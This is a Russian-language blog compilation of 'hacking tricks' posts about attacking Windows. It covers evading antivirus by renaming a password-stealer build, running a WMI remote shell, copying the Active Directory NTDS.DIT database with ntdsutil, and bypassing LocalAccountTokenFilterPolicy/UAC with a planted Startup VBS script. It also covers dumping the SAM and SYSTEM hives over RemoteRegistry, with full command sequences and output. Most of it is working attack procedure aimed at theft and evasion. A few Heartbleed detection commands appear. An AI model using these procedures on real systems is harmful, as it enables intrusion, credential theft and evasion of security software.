[hacking tricks] AVs bypass

Не все помнят знают, что командная строка Windows воспринимает любой файл с произвольным расширением, как исполняемую PE-программу. Это  в свою очередь может с успехом использоваться для обхода превентивных механизмов защиты. В качестве примера возьмем известный по virustotal Passwords Stealer UFR [тынц] и не безызвестный антивирус McAfee, который уже знает про эту стягивалку паролей [PWS-FAPK!31754313CD59]. Создадим новый билд UFR Stealer и сразу же переименуем его, например так: C:\Temp> move test.exe test.db


Теперь любым волшебным способом доставим исполняемый файл test.db на целевой компьютер, на котором уже крутится антивирус McAfee и...


Аналогичным образом обходятся и другие аверы в т.ч. антивирус Касперского, а вот родной для винды Windows Defender такие особенности командной строки блюдет(( радует лишь то, что дефендер не перегружен знаниями о самой малвари))

[hacking tricks] Полноценный WMI shell

Усилиями Andrei Dumitrescu появился полноценный WMI шелл на Python. Тула разработана в контексте выступления Andrei's на проходящем сейчас мероприятии #HES2014  [http://2014.hackitoergosum.org/].

Ознакомиться с презентацией можно по следующей ссылке [тынц].

root@bt: ~

root@bt:/tmp# wget https://www.lexsi.fr/conference/wmi-shell.zip
root@bt:/tmp# unzip wmi-shell.zip
Archive:  wmi-shell.zip
   creating: wmi-shell/
  inflating: wmi-shell/LICENSE
  inflating: wmi-shell/wmi-shell.py
  inflating: wmi-shell/README
  inflating: wmi-shell/base.vbs
   creating: wmi-shell/bin/
  inflating: wmi-shell/bin/base64.c
  inflating: wmi-shell/bin/base64.exe
  inflating: wmi-shell/bin/wmis
  inflating: wmi-shell/bin/wmic
   creating: wmi-shell/b64-source/
  inflating: wmi-shell/b64-source/base64.exe
  inflating: wmi-shell/b64-source/base64.c
root@bt:/tmp# cd wmi-shell/
root@bt:/tmp/wmi-shell# python wmi-shell.py administrator password 10.1.37.134
Sending our VBS script to  10.1.37.134  ETA: ~6.4 seconds.
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c echo Function base64_encode( byVal strIn ) >>%TEMP%\E2BpK7z.vbs" 2>/dev/null  <-- . Returned code:  1
...
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c echo End Select >>%TEMP%\E2BpK7z.vbs" 2>/dev/null  <-- . Returned code:  1
>>> dir C:\\
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c cscript %TEMP%\E2BpK7z.vbs \"dir C:\\\"" 2>/dev/null  <-- . Returned code:  1
Executed command -->   ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'DOWNLOAD_READY'" > bSKFiy5_ready.tmp  <-- . Returned code:  0
waiting for command output . . Executed command -->   ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'DOWNLOAD_READY'" > bSKFiy5_ready.tmp  <-- . Returned code:  0
.  done !
Executed command -->   ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'EVILTAG%'" > bSKFiy5.tmp  <-- . Returned code:  0
Volume in drive C has no label.
 Volume Serial Number is 8E25-9E63

 Directory of C:\

14.07.2009  07:20    <DIR>          PerfLogs
19.04.2014  03:12    <DIR>          Program Files
19.04.2014  22:04    <DIR>          Program Files (x86)
19.04.2014  03:05    <DIR>          Users
20.04.2014  04:19    <DIR          Windows
               0 File(s)              0 bytes
               5 Dir(s)  82▒326▒290▒432 bytes free
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c cscript %TEMP%\E2BpK7z.vbs \"cleanup\"" 2>/dev/null  <-- . Returned code:  1
>>>

[hacking tricks] Easy way to get a ntds.dit

Все секреты Active Directory как известно хранятся в одном единственном файлике NTDS.DIT, который представляет из себя специально разработанную компанией Microsoft базу данных. Для получения копии этой базы варварским способом может использоваться механизм  теневых копий. Почему варварским? Да потому, что в момент создания теневой копии в базе могут выполняться различные транзакции, что несколько повлияет на целостность полученной копии. Но начиная с Windows 2008 корпорация добра расширила возможности утилиты Ntdsutil, что позволяет стащить базу NTDS.DIT с работающей системы не повредив ее при этом. Раньше применение утилиты Ntdsutil ограничивалось режимом восстановления контроллера домена.

Спасибо за находку @obscuresec!!

C:\Windows\System32>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Windows\system32>ntdsutil "ac in ntds" "ifm" "cr fu c:\Windows\Temp\abc" q q

ntdsutil: ac in ntds
Активный экземпляр - "ntds".
ntdsutil: ifm
IFM: cr fu c:\Windows\Temp\abc
Создание снимка...
Успешно создан набор снимков {8d6cf811-ccd4-4dbe-9190-b911bb96196a}.
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} установлен как C:\$SNAP_2014041214
02_VOLUMEC$\
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} уже подключен.
Запуск режима ДЕФРАГМЕНТАЦИИ...
Исходная база данных: C:\$SNAP_201404121402_VOLUMEC$\Windows\NTDS\ntds.dit
Конечная база данных: c:\Windows\Temp\abc\Active Directory\ntds.dit

Defragmentation Status (% complete)

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

Копирование файлов реестра...
Копирование c:\Windows\Temp\abc\registry\SYSTEM
Копирование c:\Windows\Temp\abc\registry\SECURITY
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} отключен.
Носитель IFM успешно создан в c:\Windows\Temp\abc
IFM: q
ntdsutil: q

C:\Windows\system32>

Binary backdoor in Active Directory :: Stealing passwords

До сегодняшнего дня я писал только про бэкдоры в AD на уровне приложения [1, 2, 3, 4, 5]. Подобные закладки интересны в первую очередь тем, что они имеют высокую степень живучести за счет того, что присутствуют в реплике Active Directory. Такие закладки могут пережить даже смутные времена disaster recovery, после признания админами факта компрометации AD. Но обладая привилегиями системы на контроллерах домена, появляются иные способы сохранить свое незримое присутствие не доводя админов до белого колена. Одному из таких способов и посвящена данная публикация.

CVE-2014-0160 Рабочий сплоит

Этот эксплоит сделал мой день 8)) 



Heartbleed Honeypot Script: http://packetstormsecurity.com/files/126068
Detect heartbleed attacks with tshark [1]: tshark -i eth0 -R "ssl.record.content_type eq 24 and not ssl.heartbeat_message.type"


Search for processes still using old OpenSSL #heartbleed : grep -l 'libssl.*deleted' /proc/*/maps | tr -cd 0-9\\n | xargs -r ps u

Ссылки:

[hacking tricks] LocalAccountTokenFilterPolicy bypass

Скверный для хакера параметр безопасности винды LocalAccountTokenFilterPolicy, появившийся со времен Windows Vista, отвечает за функциклирование удаленного ограничения UAC.  Это такая штука, которая фильтрует наличие привилегий админстратора по сети в отношении всех локальных пользователей системы, которые входят в группу "Администраторы". То есть, все локальные администраторы, кроме дефолтового админа с SID 500, не смогут воспользоваться интерфейсами удаленного администрирования (SMB, RPC, ...) до тех пор пока данный механизм безопасности включен. Но я кажется нашел алгоритм обхода и он основан не на подключении по RDP :)

Предлагаемый способ основан на том, что в конфигурациях по умолчанию современных Windows систем для конечных пользователей хитрым образом шарится папочка "C:\Users", содержащая профили пользователей. Я думаю, что уже после этой фразы стал очевиден сценарий атаки при наличии идентификатора и пароля пользователя, которого удаленная система не желает воспринимать в качестве администратора. Значит экзекнуться в подобной ситуации уже реально, остается лишь разобраться с локальным UAC, чтобы стать полноценным администратором системы.

Для обхода локальных ограничений безопасности UAC можно воспользоваться наработками Leo Davidson, которые затем переконтовали в удобную консольную тулу [забрать]. Стоит лишь добавить, что метод обхода локального UAC работает также и на Windows 8 со всеми обновлениями безопасности на сегодняшний день.

C:\Temp>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Системная ошибка 5.
Отказано в доступе.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process call create "cmd.exe /c ipconfig"
ERROR:
Code = 0x80070005
Description = Отказано в доступе.
Facility = Win32

C:\Temp>net use \\RHOST\ipc$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>net view \\RHOST /all
Общие ресурсы на \\RHOST

Имя общего ресурса  Тип   Используется как  Комментарий
-------------------------------------------------------------------------------
ADMIN$              Диск                    Удаленный Admin
C$                  Диск                    Стандартный общий ресурс
IPC$                IPC   (UNC)             Удаленный IPC
Users               Диск
Команда выполнена успешно.

C:\Temp>dir \\RHOST\Users
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users

30.03.2014  20:07    <DIR>          .
30.03.2014  20:07    <DIR>          ..
30.03.2014  20:00    <DIR>          admin
30.03.2014  18:10    <DIR>          Public
               0 файлов              0 байт
               4 папок   6 799 081 472 байт свободно

C:\Temp>dir "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

30.03.2014  23:34    <DIR>          .
30.03.2014  23:34    <DIR>          ..
               0 файлов              0 байт
               2 папок   6 799 081 472 байт свободно

C:\Temp>copy /Y bypassuac.exe \\RHOST\Users\admin\AppData\Local\Temp\
Скопировано файлов:         1.

C:\Temp>type logon.vbs
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:\Users\admin\AppData\Local\Temp\bypassuac.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f",0,true
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\bypassuac.exe",true
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\tior.exe",true
objFSO.DeleteFile Wscript.ScriptFullName,true

C:\Temp>copy /Y logon.vbs "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Wi
ndows\Start Menu\Programs\Startup\"
Скопировано файлов:         1.

C:\Temp>net use \\RHOST\ipc$ /del
\\RHOST\ipc$ успешно удален.

C:\Temp> /* WAIT WAIT
C:\Temp> /* logoff/login user */
C:\Temp> WAIT */

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process cal
l create "cmd.exe /c ipconfig"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4320;
        ReturnValue = 0;
};

C:\Temp>

[hacking tricks] Exec via RPC with output

Иногда бывают такие ситуации, когда на удаленном хосте под управлением операционной системы Windows (выше 9x)) файрволом прикрыты все управляющие порты (SMB, WinRM, RDP, etc) кроме 135/tcp RPC. И вот вроде бы и нужные права имеются, и даже удаленный exec отрабатывает, но ходишь вокруг такой машины, как слепой котенок, облизываешься, в надежде, что msf multi/handler выдаст заветное приглашение. Пора прозреть!


Предлагаемый мною способ прост как две копейки и основан на возможности работы с реестром через WMI (к слову, служба удаленного реестра тут не используется). Пруф ниже.

ЗЫ:  концепт схож с подходом, используемым парнями из DSEC при выполнении команд через Quick Console в Lotus Domino.

[hacking tricks] Тихий pwdump

Каждый раз, когда необходимо выдрать локальную базу SAM с компутера под управлением окон, у тулов серии pwdump начинается истерика в предвестии реакции используемого авера на удаленной машине(( И этот процесс все чаще начинает походить на танцы с бубном вокруг когда-то девственного софта, не побывавшего в лаборатории дяди ммм... вирусного аналитика) Поэтому, дабы сэкономить время и нервы (юзверей) приходится отказываться от стороннего ПО и прибегать к использованию встроенных средств операционной системы :)

Про скрытые копии я уже говорил ранее. Этот способ отлично подходит для перетягивания содержимого адешечки. А вот для локальной базы SAM существуют и другие не менее простые варианты. Один из них представлен ниже.

C:\Windows\System32>

net use \\RHOST\c$ /u:admin password
sc \\RHOST config RemoteRegistry start= demand
sc \\RHOST start RemoteRegistry
reg save \\RHOST\hklm\sam sam
reg save \\RHOST\hklm\system system
move \\RHOST\C$\Windows\System32\sam sam
move \\RHOST\C$\Windows\System32\system system
sc \\RHOST stop RemoteRegistry
sc \\RHOST config RemoteRegistry start= disabled
net use \\RHOST\c$ /del

После чего соответствующие файлы передаются понимающим их гуям [например].


[hacking tricks] Including password in runas command line

Все пентестеры (и не только) эпизодически натыкаются на проблему, связанную с запуском локального процесса от имени другого пользователя из командной строки. К сожалению, поставляемая с виндой тулень  runas не спасает т.к. в ней отсутствует возможность передачи пароля в качестве аргумента. Такой способ:

C:\Windows\System32>

C:\Windows\System32> echo password | runas /u:user cmd


Увы, работал(ет) только на устаревших системах. Решение: использовать API функцию CreateProcessWithLogonW. Код ниже, бинарь тут (md5:424872148d3e84ed99cedd5bfbb8740c)